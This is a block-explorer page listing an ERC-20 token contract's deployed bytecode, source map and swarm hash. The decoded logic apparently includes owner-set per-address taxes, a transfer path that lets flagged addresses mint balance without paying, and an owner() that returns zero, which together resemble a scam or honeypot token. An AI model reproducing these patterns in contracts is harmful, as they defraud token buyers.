505092915050565b5f80604083850312156110cc575f80fd5b823567ffffffffffffffff808211156110e3575f80fd5b6110ef86838701611032565b93506020850135915080821115611104575f80fd5b5061111185828601611032565b9150509250929050565b5f806040838503121561112c575f80fd5b61113583610f3e565b915061114360208401610f3e565b90509250929050565b600181811c9082168061116057607f821691505b60208210810361117e57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561041b5761041b6111b9565b601f821115611229575f81815260208120601f850160051c810160208610156112065750805b601f850160051c820191505b8181101561122557828155600101611212565b5050505b505050565b815167ffffffffffffffff8111156112485761124861101e565b61125c81611256845461114c565b846111e0565b602080601f83116001811461128f575f84156112785750858301515b5f19600386901b1c1916600185901b178555611225565b5f85815260208120601f198616915b828110156112bd5788860151825594840194600190910190840161129e565b50858210156112da57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b606081525f6112fc6060830186610ee9565b828103602084015261130e8186610ee9565b91505060018060a01b0383166040830152949350505050565b8181038181111561041b5761041b6111b9565b808202811582820484141761041b5761041b6111b9565b5f8261136b57634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220830b0a99da3fc0ac8c64178d3297299addb840e67bcfaf448c265c04c259f15d64736f6c63430008140033
Deployed Bytecode
0x608060405234801561000f575f80fd5b5060043610610153575f3560e01c80636c9992b3116100bf578063a9059cbb11610079578063a9059cbb146102f0578063b4a99a4e14610303578063c4e7c16514610309578063d32c99cd1461031c578063dd62ed3e1461032f578063f2fde38b14610365575f80fd5b80636c9992b31461027f57806370a0823114610292578063715018a6146102ba57806380893918146102c257806395d89b41146102d5578063a457c2d7146102dd575f80fd5b80632c91d071116101105780632c91d07114610211578063313ce5671461022457806339509351146102335780633de94b451461024657806349bd5a5e146102595780635dd7c8ac1461026c575f80fd5b806306fdde0314610157578063095ea7b3146101755780631694505e1461019857806318160ddd146101d75780631f478f1e146101e957806323b872dd146101fe575b5f80fd5b61015f610378565b60405161016c9190610f2c565b60405180910390f35b610188610183366004610f54565b610408565b604051901515815260200161016c565b6101bf7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b03909116815260200161016c565b6001545b60405190815260200161016c565b6101fc6101f7366004610f7c565b610421565b005b61018861020c366004610fb5565b61047e565b6101fc61021f366004610fee565b6104a1565b6040516012815260200161016c565b610188610241366004610f54565b6104ed565b6101fc610254366004611007565b610529565b6007546101bf906001600160a01b031681565b6101db61027a366004610fee565b610558565b61018861028d366004610fee565b6105a3565b6101db6102a0366004610fee565b6001600160a01b03165f9081526005602052604090205490565b6101fc6105ed565b6101886102d0366004610fee565b610622565b61015f61066c565b6101886102eb366004610f54565b61067b565b6101886102fe366004610f54565b61070a565b5f6101bf565b6101fc610317366004610f54565b61076a565b6101fc61032a3660046110bb565b6107af565b6101db61033d36600461111b565b6001600160a01b039182165f9081526020818152604080832093909416825291909152205490565b6101fc610373366004610fee565b610832565b6060600880546103879061114c565b80601f01602080910402602001604051908101604052809291908181526020018280546103b39061114c565b80156103fe5780601f106103d5576101008083540402835291602001916103fe565b820191905f5260205f20905b8154815290600101906020018083116103e157829003601f168201915b5050505050905090565b5f336104158185856108cd565b60019150505b92915050565b6004546001600160a01b031633146104545760405162461bcd60e51b815260040161044b90611184565b60405180910390fd5b6001600160a01b03919091165f908152600c60205260409020805460ff1916911515919091179055565b5f3361048b8582856109ee565b610496858585610a7c565b506001949350505050565b6004546001600160a01b031633146104cb5760405162461bcd60e51b815260040161044b90611184565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b335f818152602081815260408083206001600160a01b038716845290915281205490919061041590829086906105249087906111cd565b6108cd565b6004546001600160a01b031633146105535760405162461bcd60e51b815260040161044b90611184565b600a55565b6004545f906001600160a01b031633146105845760405162461bcd60e51b815260040161044b90611184565b506001600160a01b0381165f908152600d60205260409020545b919050565b6004545f906001600160a01b031633146105cf5760405162461bcd60e51b815260040161044b90611184565b506001600160a01b03165f9081526006602052604090205460ff1690565b6004546001600160a01b031633146106175760405162461bcd60e51b815260040161044b90611184565b6106205f610e28565b565b6004545f906001600160a01b0316331461064e5760405162461bcd60e51b815260040161044b90611184565b506001600160a01b03165f908152600c602052604090205460ff1690565b6060600980546103879061114c565b335f818152602081815260408083206001600160a01b0387168452909152812054909190838110156106fd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161044b565b61049682868684036108cd565b335f8181526006602052604081205490919060ff16151560010361075f576001600160a01b0384165f908152600560205260408120805485929061074f9084906111cd565b909155506001925061041b915050565b610415818585610a7c565b6004546001600160a01b031633146107945760405162461bcd60e51b815260040161044b90611184565b6001600160a01b039091165f908152600d6020526040902055565b6004546001600160a01b031633146107d95760405162461bcd60e51b815260040161044b90611184565b60086107e5838261122e565b5060096107f2828261122e565b507f6c5d2637118cb4115becb3c3e6e553db25400cb3ffe8fd6fb2a2b4e014338627828233604051610826939291906112ea565b60405180910390a15050565b6004546001600160a01b0316331461085c5760405162461bcd60e51b815260040161044b90611184565b6001600160a01b0381166108c15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577204f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161044b565b6108ca81610e28565b50565b6001600160a01b03831661092f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044b565b6001600160a01b0382166109905760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044b565b6001600160a01b038381165f818152602081815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f90815260208181526040808320938616835292905220545f198114610a765781811015610a695760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161044b565b610a7684848484036108cd565b50505050565b6001600160a01b038316610ae05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044b565b6001600160a01b038216610b425760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044b565b6001600160a01b0383165f9081526005602052604090205481811015610bb95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220416d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161044b565b6001610bc58585610e79565b15610bcd57505f5b5f8115610c6d576007545f906001600160a01b031615610c1d576007546001600160a01b0390811690871603610c025750600a545b6007546001600160a01b0390811690881603610c1d5750600b545b6001600160a01b0387165f908152600d602052604090205415610c5457506001600160a01b0386165f908152600d60205260409020545b610c696064610c638784610ebd565b90610ec8565b9150505b8015610d58576001600160a01b0386165f90815260056020526040902054610c959082610ed3565b6001600160a01b0387165f9081526005602052604081209190915561dead90527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba54610ce19082610ede565b61dead5f81905260056020527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba919091556040516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d4f9085815260200190565b60405180910390a35b610d83610d658286611327565b6001600160a01b0388165f9081526005602052604090205490610ed3565b6001600160a01b0387165f90815260056020526040902055610dc6610da88286611327565b6001600160a01b0387165f9081526005602052604090205490610ede565b6001600160a01b038087165f8181526005602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e0f8488611327565b60405190815260200160405180910390a3505050505050565b600480546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382165f908152600c602052604081205460ff1680610eb657506001600160a01b0382165f908152600c602052604090205460ff165b9392505050565b5f610eb6828461133a565b5f610eb68284611351565b5f610eb68284611327565b5f610eb682846111cd565b5f81518084525f5b81811015610f0d57602081850181015186830182015201610ef1565b505f602082860101526020601f19601f83011685010191505092915050565b602081525f610eb66020830184610ee9565b80356001600160a01b038116811461059e575f80fd5b5f8060408385031215610f65575f80fd5b610f6e83610f3e565b946020939093013593505050565b5f8060408385031215610f8d575f80fd5b610f9683610f3e565b915060208301358015158114610faa575f80fd5b809150509250929050565b5f805f60608486031215610fc7575f80fd5b610fd084610f3e565b9250610fde60208501610f3e565b9150604084013590509250925092565b5f60208284031215610ffe575f80fd5b610eb682610f3e565b5f60208284031215611017575f80fd5b5035919050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112611041575f80fd5b813567ffffffffffffffff8082111561105c5761105c61101e565b604051601f8301601f19908116603f011681019082821181831017156110845761108461101e565b8160405283815286602085880101111561109c575f80fd5b836020870160208301375f602085830101528094505050505092915050565b5f80604083850312156110cc575f80fd5b823567ffffffffffffffff808211156110e3575f80fd5b6110ef86838701611032565b93506020850135915080821115611104575f80fd5b5061111185828601611032565b9150509250929050565b5f806040838503121561112c575f80fd5b61113583610f3e565b915061114360208401610f3e565b90509250929050565b600181811c9082168061116057607f821691505b60208210810361117e57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561041b5761041b6111b9565b601f821115611229575f81815260208120601f850160051c810160208610156112065750805b601f850160051c820191505b8181101561122557828155600101611212565b5050505b505050565b815167ffffffffffffffff8111156112485761124861101e565b61125c81611256845461114c565b846111e0565b602080601f83116001811461128f575f84156112785750858301515b5f19600386901b1c1916600185901b178555611225565b5f85815260208120601f198616915b828110156112bd5788860151825594840194600190910190840161129e565b50858210156112da57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b606081525f6112fc6060830186610ee9565b828103602084015261130e8186610ee9565b91505060018060a01b0383166040830152949350505050565b8181038181111561041b5761041b6111b9565b808202811582820484141761041b5761041b6111b9565b5f8261136b57634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220830b0a99da3fc0ac8c64178d3297299addb840e67bcfaf448c265c04c259f15d64736f6c63430008140033
Deployed Bytecode Sourcemap
12577:6866:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15249:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10540:192;;;;;;:::i;:::-;;:::i;:::-;;;1269:14:1;;1262:22;1244:41;;1232:2;1217:18;10540:192:0;1104:187:1;12854:51:0;;;;;;;;-1:-1:-1;;;;;1486:32:1;;;1468:51;;1456:2;1441:18;12854:51:0;1296:229:1;10271:99:0;10350:12;;10271:99;;;1676:25:1;;;1664:2;1649:18;10271:99:0;1530:177:1;16476:113:0;;;;;;:::i;:::-;;:::i;:::-;;18752:288;;;;;;:::i;:::-;;:::i;15907:98::-;;;;;;:::i;:::-;;:::i;10173:84::-;;;10247:2;2730:36:1;;2718:2;2703:18;10173:84:0;2588:184:1;10746:240:0;;;;;;:::i;:::-;;:::i;16015:93::-;;;;;;:::i;:::-;;:::i;12912:28::-;;;;;-1:-1:-1;;;;;12912:28:0;;;16344:122;;;;;;:::i;:::-;;:::i;15776:121::-;;;;;;:::i;:::-;;:::i;12729:118::-;;;;;;:::i;:::-;-1:-1:-1;;;;;12821:18:0;12794:7;12821:18;;;:9;:18;;;;;;;12729:118;1002:103;;;:::i;16597:124::-;;;;;;:::i;:::-;;:::i;15355:96::-;;;:::i;10992:438::-;;;;;;:::i;:::-;;:::i;18431:299::-;;;;;;:::i;:::-;;:::i;776:91::-;822:7;776:91;;16132:196;;;;;;:::i;:::-;;:::i;15051:186::-;;;;;;:::i;:::-;;:::i;10384:142::-;;;;;;:::i;:::-;-1:-1:-1;;;;;10491:18:0;;;10464:7;10491:18;;;;;;;;;;;:27;;;;;;;;;;;;;10384:142;1113:201;;;;;;:::i;:::-;;:::i;15249:92::-;15295:13;15328:5;15321:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15249:92;:::o;10540:192::-;10614:4;400:10;10670:32;400:10;10686:7;10695:6;10670:8;:32::i;:::-;10720:4;10713:11;;;10540:192;;;;;:::o;16476:113::-;915:6;;-1:-1:-1;;;;;915:6:0;400:10;915:22;907:67;;;;-1:-1:-1;;;907:67:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;16554:18:0;;;::::1;;::::0;;;:8:::1;:18;::::0;;;;:27;;-1:-1:-1;;16554:27:0::1;::::0;::::1;;::::0;;;::::1;::::0;;16476:113::o;18752:288::-;18874:4;400:10;18934:38;18950:4;400:10;18965:6;18934:15;:38::i;:::-;18983:27;18993:4;18999:2;19003:6;18983:9;:27::i;:::-;-1:-1:-1;19028:4:0;;18752:288;-1:-1:-1;;;;18752:288:0:o;15907:98::-;915:6;;-1:-1:-1;;;;;915:6:0;400:10;915:22;907:67;;;;-1:-1:-1;;;907:67:0;;;;;;;:::i;:::-;15973:13:::1;:24:::0;;-1:-1:-1;;;;;;15973:24:0::1;-1:-1:-1::0;;;;;15973:24:0;;;::::1;::::0;;;::::1;::::0;;15907:98::o;10746:240::-;400:10;10834:4;10915:18;;;;;;;;;;;-1:-1:-1;;;;;10915:27:0;;;;;;;;;;10834:4;;400:10;10890:66;;400:10;;10915:27;;:40;;10945:10;;10915:40;:::i;:::-;10890:8;:66::i;16015:93::-;915:6;;-1:-1:-1;;;;;915:6:0;400:10;915:22;907:67;;;;-1:-1:-1;;;907:67:0;;;;;;;:::i;:::-;16076:15:::1;:24:::0;16015:93::o;16344:122::-;915:6;;16414:7;;-1:-1:-1;;;;;915:6:0;400:10;915:22;907:67;;;;-1:-1:-1;;;907:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;;16441:17:0;::::1;;::::0;;;:7:::1;:17;::::0;;;;;985:1:::1;16344:122:::0;;;:::o;15776:121::-;915:6;;15847:4;;-1:-1:-1;;;;;915:6:0;400:10;915:22;907:67;;;;-1:-1:-1;;;907:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;;15871:18:0::1;;::::0;;;:8:::1;:18;::::0;;;;;::::1;;::::0;15776:121::o;1002:103::-;915:6;;-1:-1:-1;;;;;915:6:0;400:10;915:22;907:67;;;;-1:-1:-1;;;907:67:0;;;;;;;:::i;:::-;1067:30:::1;1094:1;1067:18;:30::i;:::-;1002:103::o:0;16597:124::-;915:6;;16671:4;;-1:-1:-1;;;;;915:6:0;400:10;915:22;907:67;;;;-1:-1:-1;;;907:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;;16695:18:0::1;;::::0;;;:8:::1;:18;::::0;;;;;::::1;;::::0;16597:124::o;15355:96::-;15403:13;15436:7;15429:14;;;;;:::i;10992:438::-;400:10;11085:4;11168:18;;;;;;;;;;;-1:-1:-1;;;;;11168:27:0;;;;;;;;;;11085:4;;400:10;11214:35;;;;11206:85;;;;-1:-1:-1;;;11206:85:0;;6049:2:1;11206:85:0;;;6031:21:1;6088:2;6068:18;;;6061:30;6127:34;6107:18;;;6100:62;-1:-1:-1;;;6178:18:1;;;6171:35;6223:19;;11206:85:0;5847:401:1;11206:85:0;11327:60;11336:5;11343:7;11371:15;11352:16;:34;11327:8;:60::i;18431:299::-;400:10;18501:4;18561:15;;;:8;:15;;;;;;18501:4;;400:10;18561:15;;:23;;:15;:23;18557:105;;-1:-1:-1;;;;;18601:13:0;;;;;;:9;:13;;;;;:23;;18618:6;;18601:13;:23;;18618:6;;18601:23;:::i;:::-;;;;-1:-1:-1;18646:4:0;;-1:-1:-1;18639:11:0;;-1:-1:-1;;18639:11:0;18557:105;18672:28;18682:5;18689:2;18693:6;18672:9;:28::i;16132:196::-;915:6;;-1:-1:-1;;;;;915:6:0;400:10;915:22;907:67;;;;-1:-1:-1;;;907:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;16294:17:0;;::::1;;::::0;;;:7:::1;:17;::::0;;;;:26;16132:196::o;15051:186::-;915:6;;-1:-1:-1;;;;;915:6:0;400:10;915:22;907:67;;;;-1:-1:-1;;;907:67:0;;;;;;;:::i;:::-;15137:5:::1;:12;15145:4:::0;15137:5;:12:::1;:::i;:::-;-1:-1:-1::0;15160:7:0::1;:16;15170:6:::0;15160:7;:16:::1;:::i;:::-;;15192:37;15204:4;15210:6;15218:10;15192:37;;;;;;;;:::i;:::-;;;;;;;;15051:186:::0;;:::o;1113:201::-;915:6;;-1:-1:-1;;;;;915:6:0;400:10;915:22;907:67;;;;-1:-1:-1;;;907:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1202:22:0;::::1;1194:73;;;::::0;-1:-1:-1;;;1194:73:0;;9559:2:1;1194:73:0::1;::::0;::::1;9541:21:1::0;9598:2;9578:18;;;9571:30;9637:34;9617:18;;;9610:62;-1:-1:-1;;;9688:18:1;;;9681:36;9734:19;;1194:73:0::1;9357:402:1::0;1194:73:0::1;1278:28;1297:8;1278:18;:28::i;:::-;1113:201:::0;:::o;11444:380::-;-1:-1:-1;;;;;11580:19:0;;11572:68;;;;-1:-1:-1;;;11572:68:0;;9966:2:1;11572:68:0;;;9948:21:1;10005:2;9985:18;;;9978:30;10044:34;10024:18;;;10017:62;-1:-1:-1;;;10095:18:1;;;10088:34;10139:19;;11572:68:0;9764:400:1;11572:68:0;-1:-1:-1;;;;;11659:21:0;;11651:68;;;;-1:-1:-1;;;11651:68:0;;10371:2:1;11651:68:0;;;10353:21:1;10410:2;10390:18;;;10383:30;10449:34;10429:18;;;10422:62;-1:-1:-1;;;10500:18:1;;;10493:32;10542:19;;11651:68:0;10169:398:1;11651:68:0;-1:-1:-1;;;;;11732:18:0;;;:11;:18;;;;;;;;;;;:27;;;;;;;;;;;;;:36;;;11784:32;;1676:25:1;;;11784:32:0;;1649:18:1;11784:32:0;;;;;;;11444:380;;;:::o;11838:453::-;-1:-1:-1;;;;;10491:18:0;;;11973:24;10491:18;;;;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;12040:37:0;;12036:248;;12122:6;12102:16;:26;;12094:68;;;;-1:-1:-1;;;12094:68:0;;10774:2:1;12094:68:0;;;10756:21:1;10813:2;10793:18;;;10786:30;10852:31;10832:18;;;10825:59;10901:18;;12094:68:0;10572:353:1;12094:68:0;12206:51;12215:5;12222:7;12250:6;12231:16;:25;12206:8;:51::i;:::-;11962:329;11838:453;;;:::o;16877:1546::-;-1:-1:-1;;;;;17009:18:0;;17001:68;;;;-1:-1:-1;;;17001:68:0;;11132:2:1;17001:68:0;;;11114:21:1;11171:2;11151:18;;;11144:30;11210:34;11190:18;;;11183:62;-1:-1:-1;;;11261:18:1;;;11254:35;11306:19;;17001:68:0;10930:401:1;17001:68:0;-1:-1:-1;;;;;17088:16:0;;17080:64;;;;-1:-1:-1;;;17080:64:0;;11538:2:1;17080:64:0;;;11520:21:1;11577:2;11557:18;;;11550:30;11616:34;11596:18;;;11589:62;-1:-1:-1;;;11667:18:1;;;11660:33;11710:19;;17080:64:0;11336:399:1;17080:64:0;-1:-1:-1;;;;;17179:15:0;;17157:19;17179:15;;;:9;:15;;;;;;17213:22;;;;17205:73;;;;-1:-1:-1;;;17205:73:0;;11942:2:1;17205:73:0;;;11924:21:1;11981:2;11961:18;;;11954:30;12020:34;12000:18;;;11993:62;-1:-1:-1;;;12071:18:1;;;12064:36;12117:19;;17205:73:0;11740:402:1;17205:73:0;17301:4;17322:27;17340:4;17346:2;17322:17;:27::i;:::-;17318:70;;;-1:-1:-1;17371:5:0;17318:70;17398:22;17441:2;17437:507;;;17499:13;;17460:16;;-1:-1:-1;;;;;17499:13:0;:27;17495:278;;17557:13;;-1:-1:-1;;;;;17557:13:0;;;17551:19;;;;17547:96;;-1:-1:-1;17608:15:0;;17547:96;17673:13;;-1:-1:-1;;;;;17673:13:0;;;17665:21;;;;17661:97;;-1:-1:-1;17724:14:0;;17661:97;-1:-1:-1;;;;;17791:13:0;;17807:1;17791:13;;;:7;:13;;;;;;:17;17787:82;;-1:-1:-1;;;;;;17840:13:0;;;;;;:7;:13;;;;;;17787:82;17902:30;17928:3;17902:21;:7;17914:8;17902:11;:21::i;:::-;:25;;:30::i;:::-;17885:47;;17445:499;17437:507;17962:18;;17958:252;;-1:-1:-1;;;;;18015:15:0;;;;;;:9;:15;;;;;;:35;;18035:14;18015:19;:35::i;:::-;-1:-1:-1;;;;;17997:15:0;;;;;;:9;:15;;;;;:53;;;;15721:42;18091:23;;;;:43;;18119:14;18091:27;:43::i;:::-;15721:42;18065:23;;;;:9;:23;;;:69;;;;:23;18154:44;-1:-1:-1;;;;;18154:44:0;;;;;;;18183:14;1676:25:1;;1664:2;1649:18;;1530:177;18154:44:0;;;;;;;;17958:252;18240:45;18260:24;18270:14;18260:7;:24;:::i;:::-;-1:-1:-1;;;;;18240:15:0;;;;;;:9;:15;;;;;;;:19;:45::i;:::-;-1:-1:-1;;;;;18222:15:0;;;;;;:9;:15;;;;;:63;18312:43;18330:24;18340:14;18330:7;:24;:::i;:::-;-1:-1:-1;;;;;18312:13:0;;;;;;:9;:13;;;;;;;:17;:43::i;:::-;-1:-1:-1;;;;;18296:13:0;;;;;;;:9;:13;;;;;:59;;;;18371:44;;;18390:24;18400:14;18390:7;:24;:::i;:::-;18371:44;;1676:25:1;;;1664:2;1649:18;18371:44:0;;;;;;;16990:1433;;;16877:1546;;;:::o;1322:191::-;1415:6;;;-1:-1:-1;;;;;1432:17:0;;;-1:-1:-1;;;;;;1432:17:0;;;;;;;1465:40;;1415:6;;;1432:17;1415:6;;1465:40;;1396:16;;1465:40;1385:128;1322:191;:::o;16729:138::-;-1:-1:-1;;;;;16829:14:0;;16805:4;16829:14;;;:8;:14;;;;;;;;;:30;;-1:-1:-1;;;;;;16847:12:0;;;;;;:8;:12;;;;;;;;16829:30;16822:37;16729:138;-1:-1:-1;;;16729:138:0:o;2891:98::-;2949:7;2976:5;2980:1;2976;:5;:::i;2997:98::-;3055:7;3082:5;3086:1;3082;:5;:::i;2785:98::-;2843:7;2870:5;2874:1;2870;:5;:::i;2679:98::-;2737:7;2764:5;2768:1;2764;:5;:::i;14:423:1:-;56:3;94:5;88:12;121:6;116:3;109:19;146:1;156:162;170:6;167:1;164:13;156:162;;;232:4;288:13;;;284:22;;278:29;260:11;;;256:20;;249:59;185:12;156:162;;;160:3;363:1;356:4;347:6;342:3;338:16;334:27;327:38;426:4;419:2;415:7;410:2;402:6;398:15;394:29;389:3;385:39;381:50;374:57;;;14:423;;;;:::o;442:220::-;591:2;580:9;573:21;554:4;611:45;652:2;641:9;637:18;629:6;611:45;:::i;667:173::-;735:20;;-1:-1:-1;;;;;784:31:1;;774:42;;764:70;;830:1;827;820:12;845:254;913:6;921;974:2;962:9;953:7;949:23;945:32;942:52;;;990:1;987;980:12;942:52;1013:29;1032:9;1013:29;:::i;:::-;1003:39;1089:2;1074:18;;;;1061:32;;-1:-1:-1;;;845:254:1:o;1712:347::-;1777:6;1785;1838:2;1826:9;1817:7;1813:23;1809:32;1806:52;;;1854:1;1851;1844:12;1806:52;1877:29;1896:9;1877:29;:::i;:::-;1867:39;;1956:2;1945:9;1941:18;1928:32;2003:5;1996:13;1989:21;1982:5;1979:32;1969:60;;2025:1;2022;2015:12;1969:60;2048:5;2038:15;;;1712:347;;;;;:::o;2064:328::-;2141:6;2149;2157;2210:2;2198:9;2189:7;2185:23;2181:32;2178:52;;;2226:1;2223;2216:12;2178:52;2249:29;2268:9;2249:29;:::i;:::-;2239:39;;2297:38;2331:2;2320:9;2316:18;2297:38;:::i;:::-;2287:48;;2382:2;2371:9;2367:18;2354:32;2344:42;;2064:328;;;;;:::o;2397:186::-;2456:6;2509:2;2497:9;2488:7;2484:23;2480:32;2477:52;;;2525:1;2522;2515:12;2477:52;2548:29;2567:9;2548:29;:::i;2777:180::-;2836:6;2889:2;2877:9;2868:7;2864:23;2860:32;2857:52;;;2905:1;2902;2895:12;2857:52;-1:-1:-1;2928:23:1;;2777:180;-1:-1:-1;2777:180:1:o;3170:127::-;3231:10;3226:3;3222:20;3219:1;3212:31;3262:4;3259:1;3252:15;3286:4;3283:1;3276:15;3302:719;3345:5;3398:3;3391:4;3383:6;3379:17;3375:27;3365:55;;3416:1;3413;3406:12;3365:55;3452:6;3439:20;3478:18;3515:2;3511;3508:10;3505:36;;;3521:18;;:::i;:::-;3596:2;3590:9;3564:2;3650:13;;-1:-1:-1;;3646:22:1;;;3670:2;3642:31;3638:40;3626:53;;;3694:18;;;3714:22;;;3691:46;3688:72;;;3740:18;;:::i;:::-;3780:10;3776:2;3769:22;3815:2;3807:6;3800:18;3861:3;3854:4;3849:2;3841:6;3837:15;3833:26;3830:35;3827:55;;;3878:1;3875;3868:12;3827:55;3942:2;3935:4;3927:6;3923:17;3916:4;3908:6;3904:17;3891:54;3989:1;3982:4;3977:2;3969:6;3965:15;3961:26;3954:37;4009:6;4000:15;;;;;;3302:719;;;;:::o;4026:543::-;4114:6;4122;4175:2;4163:9;4154:7;4150:23;4146:32;4143:52;;;4191:1;4188;4181:12;4143:52;4231:9;4218:23;4260:18;4301:2;4293:6;4290:14;4287:34;;;4317:1;4314;4307:12;4287:34;4340:50;4382:7;4373:6;4362:9;4358:22;4340:50;:::i;:::-;4330:60;;4443:2;4432:9;4428:18;4415:32;4399:48;;4472:2;4462:8;4459:16;4456:36;;;4488:1;4485;4478:12;4456:36;;4511:52;4555:7;4544:8;4533:9;4529:24;4511:52;:::i;:::-;4501:62;;;4026:543;;;;;:::o;4574:260::-;4642:6;4650;4703:2;4691:9;4682:7;4678:23;4674:32;4671:52;;;4719:1;4716;4709:12;4671:52;4742:29;4761:9;4742:29;:::i;:::-;4732:39;;4790:38;4824:2;4813:9;4809:18;4790:38;:::i;:::-;4780:48;;4574:260;;;;;:::o;4839:380::-;4918:1;4914:12;;;;4961;;;4982:61;;5036:4;5028:6;5024:17;5014:27;;4982:61;5089:2;5081:6;5078:14;5058:18;5055:38;5052:161;;5135:10;5130:3;5126:20;5123:1;5116:31;5170:4;5167:1;5160:15;5198:4;5195:1;5188:15;5052:161;;4839:380;;;:::o;5224:356::-;5426:2;5408:21;;;5445:18;;;5438:30;5504:34;5499:2;5484:18;;5477:62;5571:2;5556:18;;5224:356::o;5585:127::-;5646:10;5641:3;5637:20;5634:1;5627:31;5677:4;5674:1;5667:15;5701:4;5698:1;5691:15;5717:125;5782:9;;;5803:10;;;5800:36;;;5816:18;;:::i;6794:545::-;6896:2;6891:3;6888:11;6885:448;;;6932:1;6957:5;6953:2;6946:17;7002:4;6998:2;6988:19;7072:2;7060:10;7056:19;7053:1;7049:27;7043:4;7039:38;7108:4;7096:10;7093:20;7090:47;;;-1:-1:-1;7131:4:1;7090:47;7186:2;7181:3;7177:12;7174:1;7170:20;7164:4;7160:31;7150:41;;7241:82;7259:2;7252:5;7249:13;7241:82;;;7304:17;;;7285:1;7274:13;7241:82;;;7245:3;;;6885:448;6794:545;;;:::o;7515:1352::-;7641:3;7635:10;7668:18;7660:6;7657:30;7654:56;;;7690:18;;:::i;:::-;7719:97;7809:6;7769:38;7801:4;7795:11;7769:38;:::i;:::-;7763:4;7719:97;:::i;:::-;7871:4;;7935:2;7924:14;;7952:1;7947:663;;;;8654:1;8671:6;8668:89;;;-1:-1:-1;8723:19:1;;;8717:26;8668:89;-1:-1:-1;;7472:1:1;7468:11;;;7464:24;7460:29;7450:40;7496:1;7492:11;;;7447:57;8770:81;;7917:944;;7947:663;6741:1;6734:14;;;6778:4;6765:18;;-1:-1:-1;;7983:20:1;;;8101:236;8115:7;8112:1;8109:14;8101:236;;;8204:19;;;8198:26;8183:42;;8296:27;;;;8264:1;8252:14;;;;8131:19;;8101:236;;;8105:3;8365:6;8356:7;8353:19;8350:201;;;8426:19;;;8420:26;-1:-1:-1;;8509:1:1;8505:14;;;8521:3;8501:24;8497:37;8493:42;8478:58;8463:74;;8350:201;-1:-1:-1;;;;;8597:1:1;8581:14;;;8577:22;8564:36;;-1:-1:-1;7515:1352:1:o;8872:480::-;9097:2;9086:9;9079:21;9060:4;9123:45;9164:2;9153:9;9149:18;9141:6;9123:45;:::i;:::-;9216:9;9208:6;9204:22;9199:2;9188:9;9184:18;9177:50;9244:33;9270:6;9262;9244:33;:::i;:::-;9236:41;;;9342:1;9338;9333:3;9329:11;9325:19;9317:6;9313:32;9308:2;9297:9;9293:18;9286:60;8872:480;;;;;;:::o;12147:128::-;12214:9;;;12235:11;;;12232:37;;;12249:18;;:::i;12280:168::-;12353:9;;;12384;;12401:15;;;12395:22;;12381:37;12371:71;;12422:18;;:::i;12453:217::-;12493:1;12519;12509:132;;12563:10;12558:3;12554:20;12551:1;12544:31;12598:4;12595:1;12588:15;12626:4;12623:1;12616:15;12509:132;-1:-1:-1;12655:9:1;;12453:217::o
Swarm Source
ipfs://830b0a99da3fc0ac8c64178d3297299addb840e67bcfaf448c265c04c259f15d
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 27 Chains
